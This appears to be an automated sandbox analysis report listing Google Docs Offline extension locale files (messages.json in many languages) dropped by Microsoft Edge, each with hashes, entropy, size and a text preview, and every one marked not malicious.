Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
